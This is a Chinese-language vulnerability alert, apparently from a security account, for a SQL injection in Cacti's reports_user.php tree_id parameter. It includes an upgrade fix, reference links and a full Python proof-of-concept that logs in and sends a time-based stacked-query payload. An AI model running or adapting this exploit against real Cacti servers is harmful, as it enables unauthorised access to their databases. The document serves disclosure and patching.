漏洞描述:
Cacti 是一个开源的操作监控和故障管理框架。
Cacti 1.2.25之前版本中由于 reports_user.php 中的 ajax_get_branches 函数未对用户可控的 tree_id 进行过滤,具有 Cacti 登录权限的攻击者可向 /cacti/reports_user.php Api节点发送包含恶意 tree_id 参数的http请求获取数据库中任意数据。如果 Cacti 开启访客模式,攻击者无需身份认证即可利用此漏洞。
影响范围:
Cacti[1.0.0, 1.2.25)
cacti影响所有版本
PoC
import argparse
import requests
import sys
import urllib3
#import os
#os.environ['http_proxy'] = 'http://localhost:8080'
sleep_time = 10
payload = f"""1));SELECT SLEEP({sleep_time})-- -"""
def get_csrf_token():
url = f"{target}/index.php"
res_body = session.get(url).content.decode()
csrf_token = res_body.split('var csrfMagicToken = "')[1].split('"')[0]
if not csrf_token:
print("[-] Unable to find csrf_token")
sys.exit()
return csrf_token
def login(username,password):
login_url = f"{target}/index.php"
csrf_token = get_csrf_token()
data = {'action':'login','login_username':username,'login_password':password,'__csrf_magic':csrf_token}
res_body = session.post(login_url,data=data).content.decode()
if 'You are now logged into <' in res_body:
print('[+] Login successful!')
else:
print('[-] Login failed. Check your credentials')
sys.exit()
def exploit():
url = f"{target}/reports_user.php"
params = {
'action':'ajax_get_branches',
'tree_id':payload
}
print('[+] Sending payload...')
print(f"[+] Payload: {payload}")
session.get(url,params=params)
if __name__=='__main__':
urllib3.disable_warnings()
parser = argparse.ArgumentParser(description="Cacti 1.2.24 - reports_user.php 'tree_id' SQL Injection (authenticated)")
parser.add_argument('-t','--target',help='',required=True)
parser.add_argument('-u','--username',help='',required=True)
parser.add_argument('-p','--password',help='',required=True)
args = parser.parse_args()
username = args.username
password = args.password
target = args.target
session = requests.Session()
login(username,password)
exploit()
修复方案:
升级Cacti到 1.2.25 或更高版本
参考链接:https://forums.cacti.net/viewtopic.php?p=292797
参考链接:
https://github.com/Cacti/cacti/security/advisories/GHSA-gj95-7xr8-9p7g
https://forums.cacti.net/viewtopic.php?p=292797#p292797
原文始发于微信公众号(飓风网络安全):【漏洞预警】Cacti<1.2.25 reports_user.php SQL注入漏洞
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论